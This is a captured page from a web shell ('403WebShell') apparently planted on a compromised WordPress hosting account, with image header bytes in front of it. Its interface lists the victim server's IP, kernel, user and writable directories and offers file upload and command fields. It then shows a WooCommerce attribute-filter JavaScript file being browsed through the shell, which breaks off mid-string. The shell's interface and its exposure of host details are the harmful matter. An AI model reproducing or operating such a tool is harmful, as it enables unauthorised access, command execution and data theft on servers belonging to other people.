????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/buyeaa.com/wp-content/plugins/woocommerce/assets/client/blocks/attribute-filter.js
(()=>{var e,t,o,r={6261:(e,t,o)=>{"use strict";const r=window.wp.blocks,s=window.wp.blockEditor;var n=o(4530),l=o(5536),a=o(4921),i=o(9456),c=o(7723),u=o(6087),d=o(7035);const m=window.wp.components;var p=o(2624),h=o(9491),b=o(790);const g={clear:(0,c.__)("Clear all selected items","woocommerce"),noItems:(0,c.__)("No items found.","woocommerce"),
/* Translators: %s search term */
noResults:(0,c.__)("No results for %s","woocommerce"),search:(0,c.__)("Search for items","woocommerce"),selected:e=>(0,c.sprintf)(/* translators: Number of items selected from list. */ /* translators: Number of items selected from list. */
(0,c._n)("%d item selected","%d items selected",e,"woocommerce"),e),updated:(0,c.__)("Search results updated.","woocommerce")},w=(e,t=e)=>{const o=e.reduce(((e,t)=>{const o=t.parent||0;return e[o]||(e[o]=[]),e[o].push(t),e}),{}),r=t.reduce(((e,t)=>(e[String(t.id)]=t,e)),{});const s=["0"],n=(e={})=>e.parent?[...n(r[e.parent]),e.name]:e.name?[e.name]:[],l=e=>e.map((e=>{const t=o[e.id];return s.push(""+e.id),{...e,breadcrumbs:n(r[e.parent]),children:t&&t.length?l(t):[]}})),a=l(o[0]||[]);return Object.entries(o).forEach((([e,t])=>{s.includes(e)||a.push(...l(t||[]))})),a},_=(e,t)=>{if(!t)return e;const o=new RegExp(`(${t.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")})`,"ig");return e.split(o).map(((e,t)=>o.test(e)?(0,b.jsx)("strong",{children:e},t):(0,b.jsx)(u.Fragment,{children:e},t)))};function f(e,t,o){const r=new Set(t.map((e=>e[o])));return e.filter((e=>!r.has(e[o])))}const x=window.wp.htmlEntities,y=({label:e})=>(0,b.jsx)("span",{className:"woocommerce-search-list__item-count",children:e}),v=e=>{const{item:t,search:o}=e,r=t.breadcrumbs&&t.breadcrumbs.length;return(0,b.jsxs)("span",{className:"woocommerce-search-list__item-label",children:[r?(0,b.jsx)("span",{className:"woocommerce-search-list__item-prefix",children:(s=t.breadcrumbs,1===s.length?s.slice(0,1).toString():2===s.length?s.slice(0,1).toString()+" › "+s.slice(-1).toString():s.slice(0,1).toString()+" … "+s.slice(-1).toString())}):null,(0,b.jsx)("span",{className:"woocommerce-search-list__item-name",children:_((0,x.decodeEntities)(t.name),o)})]});var s},j=({countLabel:e,className:t,depth:o=0,controlId:r="",item:s,isSelected:n,isSingle:l,onSelect:i,search:c="",selected:d,useExpandedPanelId:p,...h})=>{const[g,w]=p,j=null!=e&&void 0!==s.count&&null!==s.count,k=!!s.breadcrumbs?.length,C=!!s.children?.length,S=g===s.id,N=(0,a.A)(["woocommerce-search-list__item",`depth-${o}`,t],{"has-breadcrumbs":k,"has-children":C,"has-count":j,"is-expanded":S,"is-radio-button":l});(0,u.useEffect)((()=>{C&&n&&w(s.id)}),[s,C,n,w]);const E=h.name||`search-list-item-${r}`,A=`${E}-${s.id}`,T=(0,u.useCallback)((()=>{w(S?-1:Number(s.id))}),[S,s.id,w]);return C?(0,b.jsx)("div",{className:N,onClick:T,onKeyDown:e=>"Enter"===e.key||" "===e.key?T():null,role:"treeitem",tabIndex:0,children:l?(0,b.jsxs)(b.Fragment,{children:[(0,b.jsx)("input",{type:"radio",id:A,name:E,value:s.value,onChange:i(s),onClick:e=>e.stopPropagation(),checked:n,className:"woocommerce-search-list__item-input",...h}),(0,b.jsx)(v,{item:s,search:c}),j?(0,b.jsx)(y,{label:e||s.count}):null]}):(0,b.jsxs)(b.Fragment,{children:[(0,b.jsx)(m.CheckboxControl,{className:"woocommerce-search-list__item-input",checked:n,...!n&&s.children.some((e=>d.find((t=>t.id===e.id))))?{indeterminate:!0}:{},label:_((0,x.decodeEntities)(s.name),c),onChange:()=>{n?i(f(d,s.children,"id"))():i(function(e,t){const o=f(t,e,"id");return[...e,...o]}(d,s.children))()},onClick:e=>e.stopPropagation()}),j?(0,b.jsx)(y,{label:e||s.count}):null]})}):(0,b.jsxs)("label",{htmlFor:A,className:N,children:[l?(0,b.jsxs)(b.Fragment,{children:[(0,b.jsx)("input",{...h,type:"radio",id:A,name:E,value:s.value,onChange:i(s),checked:n,className:"woocommerce-search-list__item-input"}),(0,b.jsx)(v,{item:s,search:c})]}):(0,b.jsx)(m.CheckboxControl,{...h,id:A,name:E,className:"woocommerce-search-list__item-input",value:(0,x.decodeEntities)(s.value),label:_((0,x.decodeEntities)(s.name),c),onChange:i(s),checked:n}),j?(0,b.jsx)(y,{label:e||s.count}):null]})};var k=o(3028);o(5022);const C=({id:e,label:t,popoverContents:o,remove:r,screenReaderLabel:s,className:l=""})=>{const[i,d]=(0,u.useState)(!1),p=(0,h.useInstanceId)(C);if(s=s||t,!t)return null;t=(0,x.decodeEntities)(t);const g=(0,a.A)("woocommerce-tag",l,{"has-remove":!!r}),w=`woocommerce-tag__label-${p}`,_=(0,b.jsxs)(b.Fragment,{children:[(0,b.jsx)("span",{className:"screen-reader-text",children:s}),(0,b.jsx)("span",{"aria-hidden":"true",children:t})]});return(0,b.jsxs)("span",{className:g,children:[o?(0,b.jsx)(m.Button,{className:"woocommerce-tag__text",id:w,onClick:()=>d(!0),children:_}):(0,b.jsx)("span",{className:"woocommerce-tag__text",id:w,children:_}),o&&i&&(0,b.jsx)(m.Popover,{onClose:()=>d(!1),children:o}),r&&(0,b.jsx)(m.Button,{className:"woocommerce-tag__remove",onClick:r(e),label:(0,c.sprintf)(
// Translators: %s label.
// Translators: %s label.
(0,c.__)("Remove %s","woocommerce"),t),"aria-describedby":w,children:(0,b.jsx)(n.A,{icon:k.A,size:20,className:"clear-icon",role:"img"})})]})},S=C;o(1939);const N=e=>(0,b.jsx)(j,{...e}),E=e=>{const{list:t,selected:o,renderItem:r,depth:s=0,onSelect:n,instanceId:l,isSingle:a,search:i,useExpandedPanelId:c}=e,[d]=c;return t?(0,b.jsx)(b.Fragment,{children:t.map((t=>{const m=t.children?.length&&!a?t.children.every((({id:e})=>o.find((t=>t.id===e)))):!!o.find((({id:e})=>e===t.id)),p=t.children?.length&&d===t.id;return(0,b.jsxs)(u.Fragment,{children:[(0,b.jsx)("li",{children:r({item:t,isSelected:m,onSelect:n,isSingle:a,selected:o,search:i,depth:s,useExpandedPanelId:c,controlId:l})}),p?(0,b.jsx)(E,{...e,list:t.children,depth:s+1}):null]},t.id)}))}):null},A=({isLoading:e,isSingle:t,selected:o,messages:r,onChange:s,onRemove:n})=>{if(e||t||!o)return null;const l=o.length;return(0,b.jsxs)("div",{className:"woocommerce-search-list__selected",children:[(0,b.jsxs)("div",{className:"woocommerce-search-list__selected-header",children:[(0,b.jsx)("strong",{children:r.selected(l)}),l>0?(0,b.jsx)(m.Button,{variant:"link",isDestructive:!0,onClick:()=>s([]),"aria-label":r.clear,children:(0,c.__)("Clear all","woocommerce")}):null]}),l>0?(0,b.jsx)("ul",{children:o.map(((e,t)=>(0,b.jsx)("li",{children:(0,b.jsx)(S,{label:e.name,id:e.id,remove:n})},t)))}):null]})},T=({filteredList:e,search:t,onSelect:o,instanceId:r,useExpandedPanelId:s,...l})=>{const{messages:a,renderItem:i,selected:u,isSingle:d}=l,m=i||N;return 0===e.length?(0,b.jsxs)("div",{className:"woocommerce-search-list__list is-not-found",children:[(0,b.jsx)("span",{className:"woocommerce-search-list__not-found-icon",children:(0,b.jsx)(n.A,{icon:p.A,role:"img"})}),(0,b.jsx)("span",{className:"woocommerce-search-list__not-found-text",children:t?(0,c.sprintf)(a.noResults,t):a.noItems})]}):(0,b.jsx)("ul",{className:"woocommerce-search-list__list",children:(0,b.jsx)(E,{useExpandedPanelId:s,list:e,selected:u,renderItem:m,onSelect:o,instanceId:r,isSingle:d,search:t})})},L=e=>{const{className:t="",isCompact:o,isHierarchical:r,isLoading:s,isSingle:n,list:l,messages:i=g,onChange:d,onSearch:p,selected:_,type:f="text",debouncedSpeak:x}=e,[y,v]=(0,u.useState)(""),j=(0,u.useState)(-1),k=(0,h.useInstanceId)(L),C=(0,u.useMemo)((()=>({...g,...i})),[i]),S=(0,u.useMemo)((()=>((e,t,o)=>{if(!t)return o?w(e):e;const r=new RegExp(t.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&"),"i"),s=e.map((e=>!!r.test(e.name)&&e)).filter(Boolean);return o?w(s,e):s})(l,y,r)),[l,y,r]);(0,u.useEffect)((()=>{x&&x(C.updated)}),[x,C]),(0,u.useEffect)((()=>{"function"==typeof p&&p(y)}),[y,p]);const N=(0,u.useCallback)((e=>()=>{n&&d([]);const t=_.findIndex((({id:t})=>t===e));d([..._.slice(0,t),..._.slice(t+1)])}),[n,_,d]),E=(0,u.useCallback)((e=>()=>{Array.isArray(e)?d(e):-1===_.findIndex((({id:t})=>t===e.id))?d(n?[e]:[..._,e]):N(e.id)()}),[n,N,d,_]),I=(0,u.useCallback)((e=>{const[t]=_.filter((t=>!e.find((e=>t.id===e.id))));N(t.id)()}),[N,_]);return(0,b.jsxs)("div",{className:(0,a.A)("woocommerce-search-list",t,{"is-compact":o,"is-loading":s,"is-token":"token"===f}),children:["text"===f&&(0,b.jsx)(A,{...e,onRemove:N,messages:C}),(0,b.jsx)("div",{className:"woocommerce-search-list__search",children:"text"===f?(0,b.jsx)(m.TextControl,{label:C.search,type:"search",value:y,onChange:e=>v(e)}):(0,b.jsx)(m.FormTokenField,{disabled:s,label:C.search,onChange:I,onInputChange:e=>v(e),suggestions:[],__experimentalValidateInput:()=>!1,value:s?[(0,c.__)("Loading…","woocommerce")]:_.map((e=>({...e,value:e.name}))),__experimentalShowHowTo:!1})}),s?(0,b.jsx)("div",{className:"woocommerce-search-list__list",children:(0,b.jsx)(m.Spinner,{})}):(0,b.jsx)(T,{...e,search:y,filteredList:S,messages:C,onSelect:E,instanceId:k,useExpandedPanelId:j})]})},I=((0,m.withSpokenMessages)(L),window.wc.wcSettings);o(2796);const P=(0,h.withInstanceId)((({className:e,headingLevel:t,onChange:o,heading:r,instanceId:n})=>{const l=`h${t}`;return(0,b.jsxs)(l,{className:e,children:[(0,b.jsx)("label",{className:"screen-reader-text",htmlFor:`block-title-${n}`,children:(0,c.__)("Block title","woocommerce")}),(0,b.jsx)(s.PlainText,{id:`block-title-${n}`,className:"wc-block-editor-components-title",value:r,onChange:o,style:{backgroundColor:"transparent"}})]})}));var B=o(923),F=o.n(B);function O(e){const t=(0,u.useRef)(e);return F()(e,t.current)||(t.current=e),t.current}const R=window.wc.wcBlocksData,q=window.wp.data,$=(0,u.createContext)("page"),D=()=>(0,u.useContext)($),M=($.Provider,e=>{const t=D();e=e||t;const o=(0,q.useSelect)((t=>t(R.QUERY_STATE_STORE_KEY).getValueForQueryContext(e,void 0)),[e]),{setValueForQueryContext:r}=(0,q.useDispatch)(R.QUERY_STATE_STORE_KEY);return[o,(0,u.useCallback)((t=>{r(e,t)}),[e,r])]}),Q=(e,t,o)=>{const r=D();o=o||r;const s=(0,q.useSelect)((r=>r(R.QUERY_STATE_STORE_KEY).getValueForQueryKey(o,e,t)),[o,e]),{setQueryValue:n}=(0,q.useDispatch)(R.QUERY_STATE_STORE_KEY);return[s,(0,u.useCallback)((t=>{n(o,e,t)}),[o,e,n])]},V=window.wc.wcTypes,G=e=>{const{namespace:t,resourceName:o,resourceValues:r=[],query:s={},shouldSelect:n=!0}=e;if(!t||!o)throw new Error("The options object must have valid values for the namespace and the resource properties.");const l=(0,u.useRef)({results:[],isLoading:!0}),a=O(s),i=O(r),c=(()=>{const[,e]=(0,u.useState)();return(0,u.useCallback)((t=>{e((()=>{throw t}))}),[])})(),d=(0,q.useSelect)((e=>{if(!n)return null;const r=e(R.COLLECTIONS_STORE_KEY),s=[t,o,a,i],l=r.getCollectionError(...s);if(l){if(!(0,V.isError)(l))throw new Error("TypeError: `error` object is not an instance of Error constructor");c(l)}return{results:r.getCollection(...s),isLoading:!r.hasFinishedResolution("getCollection",s)}}),[t,o,i,a,n,c]);return null!==d&&(l.current=d),l.current};var U=o(4347);const Y=window.wc.blocksComponents;o(8502);const W=({name:e,count:t})=>(0,b.jsxs)(b.Fragment,{children:[e,null!==t&&Number.isFinite(t)&&(0,b.jsx)(Y.Label,{label:t.toString(),screenReaderLabel:(0,c.sprintf)(/* translators: %s number of products. */ /* translators: %s number of products. */
(0,c._n)("%s product","%s products",t,"woocommerce"),t),wrapperElement:"span",wrapperProps:{className:"wc-filter-element-label-list-count"}})]});o(7165);const K=({className:e,
/* translators: Reset button text for filters. */
label:t=(0,c.__)("Reset","woocommerce"),onClick:o,screenReaderLabel:r=(0,c.__)("Reset filter","woocommerce")})=>(0,b.jsx)("button",{className:(0,a.A)("wc-block-components-filter-reset-button",e),onClick:o,children:(0,b.jsx)(Y.Label,{label:t,screenReaderLabel:r})});o(874);const H=({className:e,isLoading:t,disabled:o,
/* translators: Submit button text for filters. */
label:r=(0,c.__)("Apply","woocommerce"),onClick:s,screenReaderLabel:n=(0,c.__)("Apply filter","woocommerce")})=>(0,b.jsx)("button",{type:"submit",className:(0,a.A)("wp-block-button__link","wc-block-filter-submit-button","wc-block-components-filter-submit-button",{"is-loading":t},e),disabled:o,onClick:s,children:(0,b.jsx)(Y.Label,{label:r,screenReaderLabel:n})}),z=window.wp.url;var J=o(2174);function X(){return Math.floor(Math.random()*Date.now())}const Z=(0,I.getSettingWithCoercion)("isRenderingPhpTemplate",!1,V.isBoolean),ee="query_type_",te="filter_";function oe(e){if(Z){const t=new URL(e);t.pathname=t.pathname.replace(/\/page\/[0-9]+/i,""),t.searchParams.delete("paged"),t.searchParams.forEach(((e,o)=>{o.match(/^query(?:-[0-9]+)?-page$/)&&t.searchParams.delete(o)})),window.location.href=t.href}else window.history.replaceState({},"",e)}var re=o(4642);o(4357);const se=({className:e,style:t,suggestions:o,multiple:r=!0,saveTransform:s=e=>e.trim().replace(/\s/g,"-"),messages:n={},validateInput:l=e=>o.includes(e),label:i="",...c})=>(0,b.jsx)("div",{className:(0,a.A)("wc-blocks-components-form-token-field-wrapper",e,{"single-selection":!r}),style:t,children:(0,b.jsx)(re.A,{label:i,__experimentalExpandOnFocus:!0,__experimentalShowHowTo:!1,__experimentalValidateInput:l,saveTransform:s,maxLength:r?void 0:1,suggestions:o,messages:n,...c})});o(9300);const ne=({children:e})=>(0,b.jsx)("div",{className:"wc-block-filter-title-placeholder",children:e}),le=(0,I.getSetting)("attributes",[]).reduce(((e,t)=>{const o=(r=t)&&r.attribute_name?{id:parseInt(r.attribute_id,10),name:r.attribute_name,taxonomy:"pa_"+r.attribute_name,label:r.attribute_label,orderby:r.attribute_orderby}:null;var r;return o&&o.id&&e.push(o),e}),[]),ae=(e=[],t,o,r=[],s="in")=>{if(!o||!o.taxonomy)return[];const n=e.filter((e=>e.attribute!==o.taxonomy));return 0===r.length?t(n):(n.push({attribute:o.taxonomy,operator:s,slug:r.map((({slug:e})=>e)).sort()}),t((0,i.di)(n).asc("attribute"))),n},ie=[{value:"preview-1",formattedValue:"preview-1",name:"Blue",label:(0,b.jsx)(W,{name:"Blue",count:3}),textLabel:"Blue (3)"},{value:"preview-2",formattedValue:"preview-2",name:"Green",label:(0,b.jsx)(W,{name:"Green",count:3}),textLabel:"Green (3)"},{value:"preview-3",formattedValue:"preview-3",name:"Red",label:(0,b.jsx)(W,{name:"Red",count:2}),textLabel:"Red (2)"}],ce={count:0,has_archives:!0,id:0,label:"Preview",name:"preview",order:"menu_order",parent:0,taxonomy:"preview",type:""};o(2145);const ue=e=>e.replace("pa_",""),de=(e,t=[])=>{const o={};t.forEach((e=>{const{attribute:t,slug:r,operator:s}=e,n=ue(t),l=r.join(","),a=`${ee}${n}`,i="in"===s?"or":"and";o[`${te}${n}`]=l,o[a]=i}));const r=(0,z.removeQueryArgs)(e,...Object.keys(o));return(0,z.addQueryArgs)(r,o)},me=e=>{if(e){const o=(t=`filter_${e.name}`,window?(0,z.getQueryArg)(window.location.href,t):null);return("string"==typeof o?o.split(","):[]).map((e=>encodeURIComponent(e).toLowerCase()))}var t;return[]},pe=e=>e.trim().replace(/\s/g,"-").replace(/_/g,"-").replace(/-+/g,"-").replace(/[^a-zA-Z0-9-]/g,""),he=({isLoading:e=!1,options:t,checked:o,onChange:r})=>e?(0,b.jsxs)(b.Fragment,{children:[(0,b.jsx)("span",{className:"is-loading"}),(0,b.jsx)("span",{className:"is-loading"})]}):(0,b.jsx)(Y.CheckboxList,{className:"wc-block-attribute-filter-list",options:t,checked:o,onChange:r,isLoading:e,isDisabled:e}),be=(0,u.createContext)({}),ge=({attributes:e,isEditor:t=!1,getNotice:o=()=>null})=>{const r=(0,I.getSettingWithCoercion)("hasFilterableProducts",!1,V.isBoolean),s=(0,I.getSettingWithCoercion)("isRenderingPhpTemplate",!1,V.isBoolean),l=(0,I.getSettingWithCoercion)("pageUrl",window.location.href,V.isString),[d,m]=(0,u.useState)(!1),p=e.isPreview&&!e.attributeId?ce:(e=>{if(e)return le.find((t=>t.id===e))})(e.attributeId),h=(0,u.useMemo)((()=>me(p)),[p]),[g,w]=(0,u.useState)(h),[_,f]=(0,u.useState)(X()),[y,v]=(0,u.useState)(e.isPreview&&!e.attributeId?ie:[]),[j]=M(),[k,C]=Q("attributes",[]),{results:S,isLoading:N}=G({namespace:"/wc/store/v1",resourceName:"products/attributes/terms",resourceValues:[p?.id||0],shouldSelect:e.attributeId>0,query:{orderby:p?.orderby||"menu_order"}}),E=(0,I.getSettingWithCoercion)("queryState",{},V.isObject),{data:A,isLoading:T}=(({queryAttribute:e,queryPrices:t,queryStock:o,queryRating:r,queryState:s,isEditor:n=!1})=>{let l=D();l=`${l}-collection-data`;const[a]=M(l),[c,d]=Q("calculate_attribute_counts",[],l),[m,p]=Q("calculate_price_range",null,l),[h,b]=Q("calculate_stock_status_counts",null,l),[g,w]=Q("calculate_rating_counts",null,l),_=O(e||{}),f=O(t),x=O(o),y=O(r);(0,u.useEffect)((()=>{"object"==typeof _&&Object.keys(_).length&&(c.find((e=>(0,V.objectHasProp)(_,"taxonomy")&&e.taxonomy===_.taxonomy))||d([...c,_]))}),[_,c,d]),(0,u.useEffect)((()=>{m!==f&&void 0!==f&&p(f)}),[f,p,m]),(0,u.useEffect)((()=>{h!==x&&void 0!==x&&b(x)}),[x,b,h]),(0,u.useEffect)((()=>{g!==y&&void 0!==y&&w(y)}),[y,w,g]);const[v,j]=(0,u.useState)(n),[k]=(0,U.d7)(v,200);v||j(!0);const C=(0,u.useMemo)((()=>(e=>{const t=e;return Array.isArray(e.calculate_attribute_counts)&&(t.calculate_attribute_counts=(0,i.di)(e.calculate_attribute_counts.map((({taxonomy:e,queryType:t})=>({taxonomy:e,query_type:t})))).asc(["taxonomy","query_type"])),t})(a)),[a]),{results:S,isLoading:N}=G({namespace:"/wc/store/v1",resourceName:"products/collection-data",query:{...s,page:void 0,per_page:void 0,orderby:void 0,order:void 0,...C},shouldSelect:k});return{data:S,isLoading:N}})({queryAttribute:{taxonomy:p?.taxonomy||"",queryType:e.queryType},queryState:{...E,...j},isEditor:t}),L=(0,u.useCallback)((e=>(0,V.objectHasProp)(A,"attribute_counts")&&Array.isArray(A.attribute_counts)?A.attribute_counts.find((({term:t})=>t===e)):null),[A]);(0,u.useEffect)((()=>{if(N||T)return;if(!Array.isArray(S))return;const t=S.map((t=>{const o=L(t.id);if(!(o||g.includes(t.slug)||(r=t.slug,j?.attributes&&j.attributes.some((({attribute:e,slug:t=[]})=>e===p?.taxonomy&&t.includes(r))))))return null;var r;const s=o?o.count:0;return{formattedValue:pe(t.slug),value:t.slug,name:(0,x.decodeEntities)(t.name),label:(0,b.jsx)(W,{name:(0,x.decodeEntities)(t.name),count:e.showCounts?s:null}),textLabel:e.showCounts?`${(0,x.decodeEntities)(t.name)} (${s})`:(0,x.decodeEntities)(t.name)}})).filter((e=>!!e));v(t),f(X())}),[p?.taxonomy,S,N,e.showCounts,T,L,g,j.attributes]);const P=(0,u.useCallback)((e=>Array.isArray(S)?S.reduce(((t,o)=>(e.includes(o.slug)&&t.push(o),t)),[]):[]),[S]),B=(0,u.useCallback)(((e,t=!1)=>{if(e=e.map((e=>({...e,slug:e.slug.map((e=>decodeURIComponent(e)))}))),t){if(!p?.taxonomy)return;const t=Object.keys((0,z.getQueryArgs)(window.location.href)),o=ue(p.taxonomy),r=t.reduce(((e,t)=>t.includes(ee+o)||t.includes(te+o)?(0,z.removeQueryArgs)(e,t):e),window.location.href);oe(de(r,e))}else{const t=de(l,e);((e,t)=>{const o=Object.entries(t).reduce(((e,[t,o])=>t.includes("query_type")?e:{...e,[t]:o}),{});return Object.entries(o).reduce(((t,[o,r])=>e[o]===r&&t),!0)})((0,z.getQueryArgs)(window.location.href),(0,z.getQueryArgs)(t))||oe(t)}}),[l,p?.taxonomy]),R=t=>{const o=ae(k,C,p,P(t),"or"===e.queryType?"in":"and");B(o,0===t.length)},q=(0,u.useCallback)(((o,r=!1)=>{t||(w(o),!r&&e.showFilterButton||ae(k,C,p,P(o),"or"===e.queryType?"in":"and"))}),[t,w,k,C,p,P,e.queryType,e.showFilterButton]),$=O((0,u.useMemo)((()=>(0,V.isAttributeQueryCollection)(k)?k.filter((({attribute:e})=>e===p?.taxonomy)).flatMap((({slug:e})=>e)):[]),[k,p?.taxonomy])),Y=function(e,t){const o=(0,u.useRef)();return(0,u.useEffect)((()=>{o.current===e||(o.current=e)}),[e,t]),o.current}($);(0,u.useEffect)((()=>{!Y||F()(Y,$)||F()(g,$)||q($)}),[g,$,Y,q]);const Z="single"!==e.selectType,re=(0,u.useCallback)((e=>{const t=g.includes(e);let o;Z?(o=g.filter((t=>t!==e)),t||(o.push(e),o.sort())):o=t?[]:[e],q(o)}),[g,Z,q]);(0,u.useEffect)((()=>{p&&!e.showFilterButton&&((({currentCheckedFilters:e,hasSetFilterDefaultsFromUrl:t})=>t&&0===e.length)({currentCheckedFilters:g,hasSetFilterDefaultsFromUrl:d})?B(k,!0):B(k,!1))}),[d,B,k,p,g,e.showFilterButton]),(0,u.useEffect)((()=>{if(!d&&!N)return h.length>0?(m(!0),void q(h,!0)):void(s||m(!0))}),[p,d,N,q,h,s]);const ge=(()=>{const{wrapper:e}=(0,u.useContext)(be);return t=>{e&&e.current&&(e.current.hidden=!t)}})();if(!r)return ge(!1),null;if(!p)return t?o("noAttributes"):(ge(!1),null);if(0===y.length&&!N&&t)return o("noProducts");const we=`h${e.headingLevel}`,_e=!e.isPreview&&N,fe=!e.isPreview&&T,xe=(_e||fe)&&0===y.length;if(!xe&&0===y.length)return ge(!1),null;const ye=Z?!xe&&g.length<y.length:!xe&&0===g.length,ve=(0,b.jsx)(we,{className:"wc-block-attribute-filter__title",children:e.heading}),je=xe?(0,b.jsx)(ne,{children:ve}):ve;return ge(!0),(0,b.jsxs)(b.Fragment,{children:[!t&&e.heading&&je,(0,b.jsx)("div",{className:(0,a.A)("wc-block-attribute-filter",`style-${e.displayStyle}`),children:"dropdown"===e.displayStyle?(0,b.jsxs)(b.Fragment,{children:[(0,b.jsx)(se,{label:p.label,className:(0,a.A)({"single-selection":!Z,"is-loading":xe}),suggestions:y.filter((e=>!g.includes(e.value))).map((e=>e.formattedValue)),disabled:xe,placeholder:(0,c.sprintf)(/* translators: %s attribute name. */ /* translators: %s attribute name. */
(0,c.__)("Select %s","woocommerce"),p.label),onChange:e=>{!Z&&e.length>1&&(e=[e[e.length-1]]);const t=[e=e.map((e=>{const t=y.find((t=>t.formattedValue===e));return t?t.value:e})),g].reduce(((e,t)=>e.filter((e=>!t.includes(e)))));if(1===t.length)return re(t[0]);const o=[g,e].reduce(((e,t)=>e.filter((e=>!t.includes(e)))));1===o.length&&re(o[0])},value:g,displayTransform:e=>{const t=y.find((t=>[t.value,t.formattedValue].includes(e)));return t?t.textLabel:e},saveTransform:pe,messages:{added:(0,c.sprintf)(/* translators: %s is the attribute label. */ /* translators: %s is the attribute label. */
(0,c.__)("%s filter added.","woocommerce"),p.label),removed:(0,c.sprintf)(/* translators: %s is the attribute label. */ /* translators: %s is the attribute label. */
(0,c.__)("%s filter removed.","woocommerce"),p.label),remove:(0,c.sprintf)(/* translators: %s is the attribute label. */ /* translators: %s is the attribute label. */
(0,c.__)("Remove %s filter.","woocommerce"),p.label.toLocaleLowerCase()),__experimentalInvalid:(0,c.sprintf)(/* translators: %s is the attribute label. */ /* translators: %s is the attribute label. */
(0,c.__)("Invalid %s filter.","woocommerce"),p.label.toLocaleLowerCase())}},_),ye&&(0,b.jsx)(n.A,{icon:J.A,size:30})]}):(0,b.jsx)(he,{options:y,checked:g,onChange:re,isLoading:xe,isDisabled:xe})}),(0,b.jsxs)("div",{className:"wc-block-attribute-filter__actions",children:[(g.length>0||t)&&!xe&&(0,b.jsx)(K,{onClick:()=>{w([]),f(X()),d&&R([])},screenReaderLabel:(0,c.__)("Reset attribute filter","woocommerce")}),e.showFilterButton&&(0,b.jsx)(H,{className:"wc-block-attribute-filter__button",isLoading:xe,disabled:(()=>{if(_e||fe)return!0;const e=me(p);return e.length===g.length&&g.every((t=>e.includes(t)))})(),onClick:()=>R(g),screenReaderLabel:(0,c.sprintf)(/* translators: %s is the attribute label */ /* translators: %s is the attribute label */
(0,c.__)("Apply attribute filter: %s","woocommerce"),p.label)})]})]})};function we({children:e,className:t,actionLabel:o,onActionClick:r,...s}){return(0,b.jsx)(m.Notice,{...s,className:(0,a.$)("wc-block-editor-components-upgrade-downgrade-notice",t),actions:[{label:o,onClick:r,noDefaultClasses:!0,variant:"link"}],children:(0,b.jsx)("div",{className:"wc-block-editor-components-upgrade-downgrade-notice__text",children:e})})}o(3285),o(9969);const _e=({clientId:e})=>{const{replaceBlock:t,removeBlock:o,updateBlockAttributes:s,selectBlock:n}=(0,q.useDispatch)("core/block-editor"),l=(0,u.createInterpolateElement)((0,c.__)("Upgrade all Filter blocks on this page for better performance and more customizability","woocommerce"),{strongText:(0,b.jsx)("strong",{children:(0,c.__)("Product Filters","woocommerce")})}),a=(0,c.__)("Upgrade all Filter blocks","woocommerce");return(0,b.jsx)(we,{isDismissible:!1,actionLabel:a,onActionClick:()=>{const{getBlocksByName:l,getBlockParentsByBlockName:a}=(0,q.select)("core/block-editor"),i=a(e,"woocommerce/filter-wrapper"),c=(0,r.createBlock)("woocommerce/product-filters");i.length?t(i[0],c):t(e,c),l("woocommerce/filter-wrapper").forEach((e=>{s(e,{lock:{remove:!1}}),o(e)})),["woocommerce/active-filters","woocommerce/price-filter","woocommerce/attribute-filter","woocommerce/stock-filter"].forEach((e=>{const t=l(e);t.length&&(s(t[0],{lock:{remove:!1}}),o(t[0]))})),n(c.clientId)},children:l})},fe=(0,I.getSetting)("attributes",[]),xe={noAttributes:(0,c.__)("Please select an attribute to use this filter!","woocommerce"),noProducts:(0,c.__)("There are no products with the selected attributes.","woocommerce")},ye=e=>{const t=xe[e];return t?(0,b.jsx)(m.Notice,{status:"warning",isDismissible:!1,children:(0,b.jsx)("p",{children:t})}):null},ve=(0,m.withSpokenMessages)((({attributes:e,setAttributes:t,debouncedSpeak:o,clientId:r})=>{const{attributeId:p,displayStyle:h,heading:g,headingLevel:w,isPreview:_,queryType:f,showCounts:x,showFilterButton:y,selectType:v}=e,[j,k]=(0,u.useState)(!p&&!_),C=(0,s.useBlockProps)(),S=e=>{if(!e||!e.length)return;const o=e[0].id;fe.find((e=>e.attribute_id===o.toString()))&&p!==o&&t({attributeId:o})},N=({isCompact:e})=>{const t={clear:(0,c.__)("Clear selected attribute","woocommerce"),list:(0,c.__)("Product Attributes","woocommerce"),noItems:(0,c.__)("Your store doesn't have any product attributes.","woocommerce"),search:(0,c.__)("Search for a product attribute:","woocommerce"),selected:e=>(0,c.sprintf)(/* translators: %d is the number of attributes selected. */ /* translators: %d is the number of attributes selected. */
(0,c._n)("%d attribute selected","%d attributes selected",e,"woocommerce"),e),updated:(0,c.__)("Product attribute search results updated.","woocommerce")},o=(0,i.di)(fe.map((e=>({id:parseInt(e.attribute_id,10),name:e.attribute_label})))).asc("name");return(0,b.jsx)(L,{className:"woocommerce-product-attributes",list:o,selected:o.filter((({id:e})=>e===p)),onChange:S,messages:t,isSingle:!0,isCompact:e})};return 0===Object.keys(fe).length?(0,b.jsxs)(m.Placeholder,{className:"wc-block-attribute-filter",icon:(0,b.jsx)(n.A,{icon:l.A}),label:(0,c.__)("Filter by Attribute","woocommerce"),instructions:(0,c.__)("Display a list of filters based on the selected attributes.","woocommerce"),children:[(0,b.jsx)("p",{children:(0,c.__)("Attributes are needed for filtering your products. You haven't created any attributes yet.","woocommerce")}),(0,b.jsxs)(m.Button,{className:"wc-block-attribute-filter__add-attribute-button",variant:"secondary",href:(0,I.getAdminLink)("edit.php?post_type=product&page=product_attributes"),target:"_top",children:[(0,c.__)("Add new attribute","woocommerce")+" ",(0,b.jsx)(n.A,{icon:d.A})]}),(0,b.jsx)(m.Button,{className:"wc-block-attribute-filter__read_more_button",variant:"tertiary",href:"https://woocommerce.com/document/managing-product-taxonomies/",target:"_blank",children:(0,c.__)("Learn 